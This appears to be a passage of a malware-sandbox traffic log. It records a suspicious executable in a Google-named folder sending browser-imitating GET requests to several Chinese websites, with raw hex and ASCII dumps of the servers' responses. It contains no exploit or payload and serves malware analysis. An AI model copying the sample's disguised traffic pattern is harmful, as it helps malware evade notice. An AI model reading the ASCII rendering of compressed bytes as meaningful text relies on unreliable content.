Aug 5, 2024 12:01:14.684703112 CEST	1236	IN	HTTP/1.1 200 OK Bdpagetype: 1 Bdqid: 0xa444c0960006f058 Connection: keep-alive Content-Encoding: gzip Content-Type: text/html; charset=utf-8 Date: Mon, 05 Aug 2024 10:01:14 GMT P3p: CP=" OTI DSP COR IVA OUR IND COM " P3p: CP=" OTI DSP COR IVA OUR IND COM " Server: BWS/1.1 Set-Cookie: BAIDUID=CC514E35F60738AA06565EBFEC66DC54:FG=1; expires=Thu, 31-Dec-37 23:55:55 GMT; max-age=2147483647; path=/; domain=.baidu.com Set-Cookie: BIDUPSID=CC514E35F60738AA06565EBFEC66DC54; expires=Thu, 31-Dec-37 23:55:55 GMT; max-age=2147483647; path=/; domain=.baidu.com Set-Cookie: PSTM=1722852074; expires=Thu, 31-Dec-37 23:55:55 GMT; max-age=2147483647; path=/; domain=.baidu.com Set-Cookie: BAIDUID=CC514E35F60738AA9088DC3E473746D4:FG=1; max-age=31536000; expires=Tue, 05-Aug-25 10:01:14 GMT; domain=.baidu.com; path=/; version=1; comment=bd Set-Cookie: BDSVRTM=35; path=/ Set-Cookie: BD_HOME=1; path=/ Traceid: 1722852074378635674611836797471114588248 X-Ua-Compatible: IE=Edge,chrome=1 X-Xss-Protection: 1;mode=block Transfer-Encoding: chunked Data Raw: 62 64 63 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ec bd 69 93 1c 4b 72 18 f8 1d bf a2 d8 6d 43 00 53 5d f7 dd 18 3c b2 4f a0 71 74 17 fa 00 1a cd 37 db 96 95 95 59 55 e8 ba ba b2 aa fa 12 cc 48 69 47 94 56 cb cb 68 92 6c 45 ae 76 49 33 ad ed 9a ed 0e 29 5b 6a c5 25 45 f2 c7 68 de 9b 99 4f fb 17 d6 dd 23 22 33 ae ac a3 d1 20 25 33 bd 7a 00 aa 32 e3 f0 f0 f0 f0 f0 f0 2b 7e f4 2b db 07 5b c7 1f eb 3b 89 f6 b8 d7 fd e6 47 bf 92 4a 1d 1d 6f 1c 9f 1c 25 0e 5e a7 52 df fc 88 3d 6d 7b 4e f3 9b 1f f5 bc b1 03 c5 c6 c3 94 77 39 e9 4c 9f af 6c 0d fa 63 af 3f Data Ascii: bdciKrmCS]<Oqt7YUHiGVhlEvI3)[j%EhO#"3 %3z2+~+[;GJo%^R=m{Nw9Llc?
Aug 5, 2024 12:01:14.684740067 CEST	1236	IN	Data Raw: 4e 1d df 0c bd 95 84 cb 7e 3d 5f 19 7b d7 e3 0c 56 7c e6 b6 9d 51 e0 8d 9f 4f c6 7e aa ba 62 69 e1 34 75 b2 91 da 1a f4 86 ce b8 d3 e8 ca 8d ec ed 3c f7 9a 2d 6f cd 6d 8f 06 3d ef 79 4e d4 0e 7b 71 ba 57 ce 4d b0 92 e8 3b f0 7a 65 e4 f9 de 68 e4 Data Ascii: N~=_{V\|QO~bi4u<-om=yN{qWM;zehD1tz^t#US6u/'Ow?g?7_???wo/~/g?~_?
Aug 5, 2024 12:01:14.684746027 CEST	1236	IN	Data Raw: b0 1f 95 76 d9 08 81 e1 59 26 fb aa dd 19 7b 29 20 45 d7 03 1e 71 35 72 86 cf b4 65 fd 39 16 a4 04 e0 9b 2f af 1c a0 ef 19 5f 3d f4 9d 63 b5 02 58 45 cc c2 e2 4b 64 9f 01 bf 80 1d d7 e9 02 72 3a ad fe 7a 0f d8 46 d7 9b d1 3e ae 90 3b 0e 3d 21 18 Data Ascii: vY&{) Eq5re9/_=cXEKdr:zF>;=!hT$qXxa ~f&:SH2Q8IKY,<W+pV3CR1T;P<>ydFlneEtx"g/HEYi.ws(~?r6tSS/>)qEwo
Aug 5, 2024 12:01:14.684956074 CEST	1236	IN	Data Raw: 34 86 59 13 b8 d0 18 12 69 50 47 71 43 06 a9 9a d7 66 53 2b e0 1a 46 ce 6a b5 3b a8 26 bc a1 6a 42 09 c2 86 22 0d 24 9f cf 2f 06 08 a9 52 94 d1 2f 56 af c1 44 52 53 ff b5 40 cf b2 6e 53 57 5f 22 ef b6 c9 97 62 86 6a b9 5a 69 a3 f0 8c ab 07 60 77 Data Ascii: 4YiPGqCfS+Fj;&jB"$/R/VDRS@nSW_"bjZi`woD+njyMdv7Vug^Ly4gf*berr-!a5v#gk5[ZOoY6,O8$-?gARms9.bzu?X'iS7j5'
Aug 5, 2024 12:01:14.684962034 CEST	1236	IN	Data Raw: 92 06 2a 1a 68 00 0e 80 de 93 5c 3a 5b 5d c3 bf 9e c6 42 08 1d 9f 73 cb 77 cc 50 a9 63 56 46 b1 6f 73 f5 be 7a 38 91 65 50 9c 73 36 73 15 14 26 cc 9d 40 5f 3a b2 f8 21 99 1d 61 8c 16 59 56 d0 63 9e 2d 7f dc e0 e3 50 17 8e 91 cb ce b3 29 9d 0d 55 Data Ascii: *h\:[]BswPcVFosz8ePs6s&@_:!aYVc-P)U?gTd`i.EeV9La<%!<</0edIkqpWxz3F5>[B7t,ZcYkLl5kM=ZEkZ.k{^7Awmvqs
Aug 5, 2024 12:01:14.684973955 CEST	1236	IN	Data Raw: d1 0e 83 6e 7c 84 4d aa 44 cc 83 97 16 9b a3 65 87 95 f6 4d c6 10 7b 5b c0 ed 64 1f 2d 98 6a 1a 95 c0 25 31 5f f6 88 95 c3 c1 b1 f8 d5 95 6f 4b 8d 6a e3 db a2 5f 2a ac 60 9d b6 a8 83 53 c9 a7 80 a4 22 11 44 82 de b1 8f 56 b1 cb 10 34 83 0a f0 01 Data Ascii: n\|MDeM{[d-j%1_oKj_`S"DV4m$<I~E#(?vJYT=PWcH_8k17;byP<q,kVE?bR)^]^JY >:ldatDqO
Aug 5, 2024 12:01:14.684982061 CEST	1236	IN	Data Raw: eb 76 21 cb 96 27 17 c8 31 c9 24 6a 1d b8 62 47 2e c0 a0 8d de 5f 1b dd 33 fc cb 2d 60 3e 29 a5 13 36 b7 ac 08 93 57 d5 51 08 9b 96 04 2d 7b 24 5a e1 05 e4 e1 f0 76 94 11 09 59 58 1e 14 2f 27 8f 8b 17 93 87 c6 4b a9 a3 e3 e5 e4 01 86 ad c9 63 14 Data Ascii: v!'1$jbG._3-`>)6WQ-{$ZvYX/'Kc$Se\|6V"*<TFGF%QI=by<Z#zbQRX;e`(yd%yx1ylKSB(S&3JL53Fc&0#3~~sU''p8%sayG5r
Aug 5, 2024 12:01:14.685250998 CEST	1236	IN	Data Raw: 8c 0f 4c 76 c1 89 85 b1 78 0b 02 a0 f5 d8 31 31 14 08 92 b4 23 10 ea 87 f3 c5 ec c0 dc b5 9f ad 21 78 2d d6 91 08 9f 52 2e 15 b8 1f bd b3 78 11 8b 3b b8 55 66 63 0b a1 86 ac cc 1e f2 ae 64 c2 35 f2 92 44 5e 48 c6 2b 3b 2f e6 28 17 81 db eb 68 4e Data Ascii: Lvx11#!x-R.x;Ufcd5D^H+;/(hN!:@5_#<1rI^,gwgmJApP9Zq}$zngtgfZ;59"Q.KTp!ls4cimO-~tVb*
Aug 5, 2024 12:01:14.685256958 CEST	1224	IN	Data Raw: 33 8f 0d 96 d3 61 c4 86 14 db b8 3d 53 a4 7e 76 e4 13 28 31 bf d0 01 47 c0 08 4c 06 cc 14 21 a4 ec e7 c2 f0 d2 dd b7 c6 cd 95 0a a4 d8 b9 a9 36 56 37 a0 68 2f 15 b6 07 50 00 f2 af 8c 9d d3 6c 48 30 63 72 21 81 5d be b1 98 1e 98 ac 93 70 7b e3 5b Data Ascii: 3a=S~v(1GL!6V7h/PlH0cr!]p{[;qPT&A=,0UNwvpY\|fhZ)RRbh>fPk;!Om2&utdVQ%4H'@4<)<;61D<6<O
Aug 5, 2024 12:01:14.685269117 CEST	1236	IN	Data Raw: 4e d5 71 1d 3c ba 88 42 48 f3 90 bb 13 7d 76 42 37 7e 6b 21 19 dd be df ac d2 81 45 6e c5 c4 23 6c aa 15 7b 31 cd bf df 73 aa 70 6d 87 d6 1e a6 17 34 36 25 b8 6e 03 3e b8 b1 ca 5d 93 77 bc f6 40 9f 71 36 28 45 8c d1 6a 44 7e bc 31 2f c2 26 e5 f9 Data Ascii: Nq<BH}vB7~k!En#l{1spm46%n>]w@q6(EjD~1/&3Ls.\|E5-Q;\|!.#b;S/kHZYVcVr6I2f.6a\ZXJFVZks3l R!:$Q^W3cWU+dJcv4Vx6h14
Aug 5, 2024 12:01:14.689673901 CEST	1236	IN	Data Raw: 30 8b d6 f1 76 d7 a9 d7 c7 db 8f 67 62 10 ca d1 0d c9 52 a0 99 b1 1c 66 cf 98 d4 93 10 d2 48 f9 8d 08 e1 67 21 39 d1 03 3e 9e c5 13 70 fc d1 aa c5 09 09 7f 61 bc dc b9 9c 77 67 c9 b4 a9 78 b2 60 58 be 01 dd f8 75 c7 01 1d 74 a9 5a 72 73 9e 5b 69 Data Ascii: 0vgbRfHg!9>pawgx`XutZrs[iwOTY7p6Vt. OT-{_Qt4Jl)d_LRjf8L8#]-;`T}h+$:;))H)BFGGT`36

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.7	49880	49.51.130.237	80	7812	C:\Program Files (x86)\Google\C2485384.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 12:01:13.828952074 CEST	214	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Language: zh-CN Accept-Encoding: gzip, deflate Host: soso.com Range: bytes=0- Connection: Keep-Alive
Aug 5, 2024 12:01:14.455230951 CEST	347	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Mon, 05 Aug 2024 10:01:14 GMT Content-Type: text/html Content-Length: 162 Connection: keep-alive Location: https://soso.com/ Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.7	49881	163.181.201.231	80	7812	C:\Program Files (x86)\Google\C2485384.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 12:01:13.877185106 CEST	221	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Language: zh-CN Accept-Encoding: gzip, deflate Host: www.sina.com.cn Range: bytes=0- Connection: Keep-Alive
Aug 5, 2024 12:01:14.823389053 CEST	581	IN	HTTP/1.1 302 Found Server: Tengine Date: Mon, 05 Aug 2024 10:01:14 GMT Content-Type: text/html Content-Length: 242 Connection: keep-alive Location: https://www.sina.com.cn/ X-DSL-CHECK: 5 X-Via-CDN: f=aliyun,s=ens-cache3.sg25,c=8.46.123.33; Via: ens-cache3.sg25[,0] Timing-Allow-Origin: * EagleId: a3b5c99717228520746426634e Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 72 65 73 69 64 65 73 20 74 65 6d 70 6f 72 61 72 69 6c 79 20 75 6e 64 65 72 20 61 20 64 69 66 66 65 72 65 6e 74 20 55 52 49 2e 3c 2f 70 3e 0d 0a 3c 68 72 2f 3e 50 6f 77 65 72 65 64 20 62 79 20 54 65 6e 67 69 6e 65 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>302 Found</title></head><body><h1>302 Found</h1><p>The requested resource resides temporarily under a different URI.</p><hr/>Powered by Tengine</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.7	49882	163.171.132.119	80	7812	C:\Program Files (x86)\Google\C2485384.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 12:01:13.899759054 CEST	216	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Language: zh-CN Accept-Encoding: gzip, deflate Host: www.jd.com Range: bytes=0- Connection: Keep-Alive
Aug 5, 2024 12:01:14.531291008 CEST	342	IN	HTTP/1.1 301 Moved Permanently Date: Mon, 05 Aug 2024 10:01:14 GMT Content-Length: 0 Connection: keep-alive Server: Cdn Cache Server V2.0 Location: https://corporate.jd.com/home X-Via: 1.0 PSdgflkfFRA2po75:8 (Cdn Cache Server V2.0) X-Ws-Request-Id: 66b0a2ea_PSdgflkfFRA2po75_12221-38728 Strict-Transport-Security: max-age=31536000

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.7	49883	104.192.110.226	80	7812	C:\Program Files (x86)\Google\C2485384.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 12:01:13.927239895 CEST	216	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Language: zh-CN Accept-Encoding: gzip, deflate Host: www.so.com Range: bytes=0- Connection: Keep-Alive
Aug 5, 2024 12:01:14.955554008 CEST	425	IN	HTTP/1.1 302 Moved Temporarily Server: openresty/1.15.8.3 Date: Mon, 05 Aug 2024 10:01:14 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://www.so.com/ Set-Cookie: QiHooGUID=; Max-Age=63072000; Domain=so.com; Path=/ Data Raw: 38 65 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 8e<html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.7	49884	163.181.130.180	80	7812	C:\Program Files (x86)\Google\C2485384.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 12:01:13.975497007 CEST	218	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Language: zh-CN Accept-Encoding: gzip, deflate Host: www.1688.com Range: bytes=0- Connection: Keep-Alive
Aug 5, 2024 12:01:14.596313000 CEST	466	IN	HTTP/1.1 302 Found Server: Tengine Date: Mon, 05 Aug 2024 10:01:14 GMT Content-Type: text/html Content-Length: 242 Connection: keep-alive Location: https://www.1688.com/ Strict-Transport-Security: max-age=31536000 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 72 65 73 69 64 65 73 20 74 65 6d 70 6f 72 61 72 69 6c 79 20 75 6e 64 65 72 20 61 20 64 69 66 66 65 72 65 6e 74 20 55 52 49 2e 3c 2f 70 3e 0d 0a 3c 68 72 2f 3e 50 6f 77 65 72 65 64 20 62 79 20 54 65 6e 67 69 6e 65 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>302 Found</title></head><body><h1>302 Found</h1><p>The requested resource resides temporarily under a different URI.</p><hr/>Powered by Tengine</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.7	49885	111.124.200.101	80	7812	C:\Program Files (x86)\Google\C2485384.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 12:01:14.094295025 CEST	216	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Language: zh-CN Accept-Encoding: gzip, deflate Host: youdao.com Range: bytes=0- Connection: Keep-Alive
Aug 5, 2024 12:01:15.598536968 CEST	199	IN	HTTP/1.1 307 Temporary Redirect Server: YDWS Date: Mon, 05 Aug 2024 10:01:15 GMT Transfer-Encoding: chunked Connection: keep-alive Location: https://youdao.com/ Data Raw: 31 33 0d 0a 68 74 74 70 73 3a 2f 2f 79 6f 75 64 61 6f 2e 63 6f 6d 2f 0d 0a 30 0d 0a 0d 0a Data Ascii: 13https://youdao.com/0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.7	49886	120.26.110.170	80	7812	C:\Program Files (x86)\Google\C2485384.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 12:01:14.156922102 CEST	218	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Language: zh-CN Accept-Encoding: gzip, deflate Host: foodmate.net Range: bytes=0- Connection: Keep-Alive
Aug 5, 2024 12:01:15.260835886 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 05 Aug 2024 10:01:15 GMT Content-Type: text/html; charset=gbk Last-Modified: Mon, 05 Aug 2024 09:53:35 GMT Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding ETag: W/"66b0a11f-29935" Content-Encoding: gzip Data Raw: 34 30 30 30 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ec bd 69 73 1b 57 92 28 fa bd 23 ee 7f c0 60 5e 8f e5 e8 06 b1 12 24 65 8b 1d 1e bb bb c7 f7 4e f7 f8 5d fb c5 7d 2f 3a 3a 14 20 01 8a b0 b8 99 04 b5 f8 f5 bb 5f ef ef 00 21 4b 24 45 99 d8 f7 85 20 41 10 fb 4e 80 a2 64 4b a2 64 b9 25 51 92 2d 5a a2 44 4a 8e 97 59 85 02 aa 80 02 aa b0 50 52 df 71 bb 43 04 50 75 ce c9 cc 93 27 4f 9e 3c b9 bc ff 4f 1f fd c7 87 9f fd 3f 9f fc 5e 30 aa 1b 1f 13 7c f2 7f fd eb bf 7f fc a1 40 28 12 8b ff 87 fc 43 b1 f8 a3 cf 3e 12 fc df ff f6 d9 9f fe 5d 20 ed 91 08 3e 9b 56 4d cc 68 75 da c9 09 d5 98 58 fc fb 3f 0b 05 c2 51 9d 6e ea b8 58 7c f6 ec d9 9e b3 f2 9e c9 e9 53 e2 cf fe bb f8 1c f6 25 c5 c6 e5 8f 22 1d ad 65 8f 5a a7 16 0e fe ea 7d 62 c0 73 e3 63 13 33 27 58 ba 91 0e 0c 0c 90 ad 89 77 35 2a 35 fc 19 d7 e8 54 00 a8 6e 4a a4 f9 62 56 7b e6 84 f0 c3 c9 09 9d 66 42 27 fa ec fc 94 46 28 18 26 bf 9d 10 ea 34 e7 74 62 ec ff 3d c1 f0 a8 6a 7a 46 a3 3b 71 6a 48 26 97 ca 84 62 e8 45 a7 d5 8d 69 06 63 96 b0 c3 f3 d8 78 2f f9 [TRUNCATED] Data Ascii: 4000isW(#`^$eN]}/:: _!K$E ANdKd%Q-ZDJYPRqCPu'O<O?^0\|@(C>] >VMhuX?QnX\|S%"eZ}bsc3'Xw55TnJbV{fB'F(&4tb=jzF;qjH&bEicx/0_VW~U#~1G.Dybu24%o}!PkNOkVvJ%F<q%/1K\|X6 <#>d/d?~$8_`7t&PkfS85m l!ju%KKNh:Dr&E?H#iC]WK-!AH>GJ2cinxV':`BF\|ND6:!qZ;~gdrR=iz&4:1E<:zA&'OOU3cQFG@p0_/vB9'v@$r$!:\uFE</OLOONF8;NOtdDhGc:5`fzLI{z{d=L#;EB": x`zX"D)[!8b,#1&U#$A,6/oLIU
Aug 5, 2024 12:01:15.260850906 CEST	1236	IN	Data Raw: 1a f1 e7 33 e2 d1 c9 71 cd c9 7a ea 30 57 99 12 57 19 4d da 75 41 50 cc 9c d6 4e 88 d5 9a 11 d5 ec 98 4e ac d5 28 09 71 81 42 b5 1d 46 66 43 73 4c 35 71 4a fc e5 a8 68 78 42 8c 1f bb 4d 40 72 0d 88 41 52 8f 68 db ed bc f9 46 00 93 33 3e 39 04 93 Data Ascii: 3qz0WWMuAPNN(qBFfCsL5qJhxBM@rARhF3>9f(g45:IF>!hrN\&aJ31S.4+q6#'&&''Nk4(YO#*&6V/V&mzCMhOM[
Aug 5, 2024 12:01:15.260862112 CEST	1236	IN	Data Raw: 9d 39 89 76 ad 93 20 9d 00 b2 3a 4d 61 76 46 33 5d 33 0a f3 88 48 68 e2 00 8a bc 9f 10 6e d0 05 a1 45 12 7a 07 4f b0 4f cd 82 9d 49 2b ae 07 16 2d 85 2d 76 f4 39 4b 3f d4 76 37 73 16 34 18 d7 81 20 b9 d3 4a a7 e3 2a ed d8 98 76 06 e6 a3 8e 98 c9 Data Ascii: 9v :MavF3]3HhnEzOOI+--v9K?v7s4 J*vb'(#Z)W4c+`xY6tQ!<3p&$LamDaM(U-B@n^~~^TC.e7`\56C4a18
Aug 5, 2024 12:01:15.260967016 CEST	1236	IN	Data Raw: fe dd e4 6c 32 38 61 90 63 8e 4c b5 6a 77 e4 81 32 d1 93 de 40 b3 d5 ac 20 1c 57 c0 91 85 b9 bc 60 b6 b0 61 9b 83 cb 51 78 91 77 a2 81 e5 26 68 57 0c d9 2c a3 97 0d d9 6d 2c 70 39 2e 70 c2 97 38 d5 54 78 82 0b eb cc e4 04 0b e6 d8 ae 5d cc 09 59 Data Ascii: l28acLjw2@ W`aQxw&hW,m,p9.p8Tx]Ycs!Wa;r\hF&DLSW}d3brT5<<U:eJCl{\:u=MXQFvMQ~"L+delv>YLCSrMifVemu;G@>
Aug 5, 2024 12:01:15.260979891 CEST	1236	IN	Data Raw: 61 b6 80 3a d5 a0 0e 76 3e 11 3b bd 62 a9 52 2c ed 13 49 fa 44 72 99 a8 4f 46 51 8c 08 a8 79 eb 28 46 dd 7d 81 76 79 4a 3b 21 1a 9a d4 e9 26 c7 8f 4b a6 ce bd 57 bf 37 f2 66 3e b9 04 18 a2 56 cf 6a 8b 98 7d 04 31 15 22 99 5c 24 91 8b e4 03 6c e1 Data Ascii: a:v>;bR,IDrOFQy(F}vyJ;!&KW7f>Vj}1"\$lO+BWc&#b5,y<huB6zbbD&+?zU"I];[#*lUBH]&OTCbX/V(2)%t?8sm%z\^Us
Aug 5, 2024 12:01:15.260992050 CEST	1236	IN	Data Raw: c3 0d 51 bb 2d 3b e0 63 59 3f 07 1f 17 c2 a1 74 7e 25 ec 4b 6f 19 dc 85 ef ed cb 05 93 7e ae f0 bd 39 10 fb 41 10 58 04 af a6 15 87 3d b5 07 b1 4e 19 bb 3f 67 8c 1e f8 0f 8a f0 29 73 68 bd 2c 1c 6c bb 69 47 f8 70 1c 27 22 11 eb f3 f8 d7 ae c3 f4 Data Ascii: Q-;cY?t~%Ko~9AX=N?g)sh,liGp'"#WE<Est(o2q\pxwneW9~&;>yL@DDvd5NBeM,n5X%%_/:Aov-J4=F v'?
Aug 5, 2024 12:01:15.261203051 CEST	776	IN	Data Raw: ee a1 f8 35 b8 21 b7 ce 01 7e 43 40 a3 e9 cd 0d c3 52 ee 49 6c d3 12 dd 30 fa 8d a6 3b 66 30 b3 b7 f6 7e 47 90 73 6c 4f 58 b4 21 9f 2c 65 49 c8 d1 85 14 9d 2e 1c b7 cc 07 85 ed e4 21 f8 ed c0 33 c4 23 bd 6a 83 8a 12 ad bc dd 11 d4 1c db 03 c2 11 Data Ascii: 5!~C@RIl0;f0~GslOX!,eI.!3#j:Ivm%!y8{-V[uXTpQTl!zl3{V#9IiBx\+V-'kwWO+R_'na0l]dW\|"
Aug 5, 2024 12:01:15.261255026 CEST	1236	IN	Data Raw: 5b 55 28 5b 39 18 41 6c 75 f7 0f 46 ff 40 51 82 1c 1b 64 6b 31 69 af 31 86 4d 36 c0 21 0c 39 02 58 fe 13 46 b8 f4 73 6c ca e1 74 22 9b 5d c9 ac 3a c0 a2 19 fe e1 df 7a ff 2c 05 cb e5 aa 59 9f 29 78 4b 99 64 70 df 99 21 23 70 f8 bd d7 89 d0 e8 e7 Data Ascii: [U([9AluF@Qdk1i1M6!9XFslt"]:z,Y)xKdp!#p[-g^@>WetKdLe0VPI5A"x( fo"_BLx>NXwNq;r3b0?0,`XA.-^v&CA00OD*mBW0
Aug 5, 2024 12:01:15.261266947 CEST	1236	IN	Data Raw: b0 e6 2d 65 9f 5a ee 3e 35 3c 58 2d 6c 6f 64 4b 79 4c b6 58 7a 64 dd ab 26 5c 44 c2 f2 7b b7 0a 71 2b 47 5d 48 41 ce 75 d4 25 ea 16 b4 98 03 56 ca 61 47 82 78 49 db 36 9a e3 e7 cd 51 ef 72 64 33 b5 48 46 50 1a 16 32 7b e8 64 41 5a f5 bd cb 6b 16 Data Ascii: -eZ>5<X-lodKyLXzd&\D{q+G]HAu%VaGxI6Qrd3HFP2{dAZk$&l]{Ir\h3B,=dKL"s+D+irv@<$Lvi^7kF6A#[a?b`?m.-'>H%i[ s
Aug 5, 2024 12:01:15.261282921 CEST	1236	IN	Data Raw: 8a 01 17 19 4d 4e 8a 3e e6 28 5c 92 c2 4e e2 cc b8 ae 52 b5 46 4c 0f 37 f7 9d d6 48 a4 70 a1 18 de 5d 59 37 44 76 5c af 62 bb 29 fb 86 a9 b0 6d ba ef 85 70 34 a4 4e 77 7b ec 08 7b 0e 2b 05 f2 4e 24 82 92 b5 b0 6d 4f 87 12 a5 4c f1 21 ca 11 c7 5c Data Ascii: MN>(\NRFL7Hp]Y7Dv\b)mp4Nw{{+N$mOL!\w12yvGP!Bb}Ff4rVo'[S~8w2_ns}Xow^Q'96PLZ_g'qP<yq7<oZB
Aug 5, 2024 12:01:15.266035080 CEST	1236	IN	Data Raw: aa 53 1a 31 3c 57 a9 7b a6 26 aa f3 a2 52 c3 6f 40 45 aa ea 3b 12 b1 3c 65 5d a0 14 a4 5a ac 11 19 f5 30 63 41 7a 69 0d 2b 61 8d fa d9 a9 b1 49 95 5a 8c 4b 42 d2 27 96 f5 8a 81 46 52 a5 a8 77 40 34 a0 78 5b 28 55 be 0a e3 66 b7 f6 b9 4d 01 73 de Data Ascii: S1<W{&Ro@E;<e]Z0cAzi+aIZKB'FRw@4x[(UfMs2X)E2BCbu'Hfk^%,mI{E>d\J+!PBRf2c!\|rD{N&'&N@f^I!gk:Z5[9WNTS

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.7	49887	103.235.46.98	80	7812	C:\Program Files (x86)\Google\C2485384.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 12:01:14.201164007 CEST	220	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Language: zh-CN Accept-Encoding: gzip, deflate Host: www.hao123.com Range: bytes=0- Connection: Keep-Alive
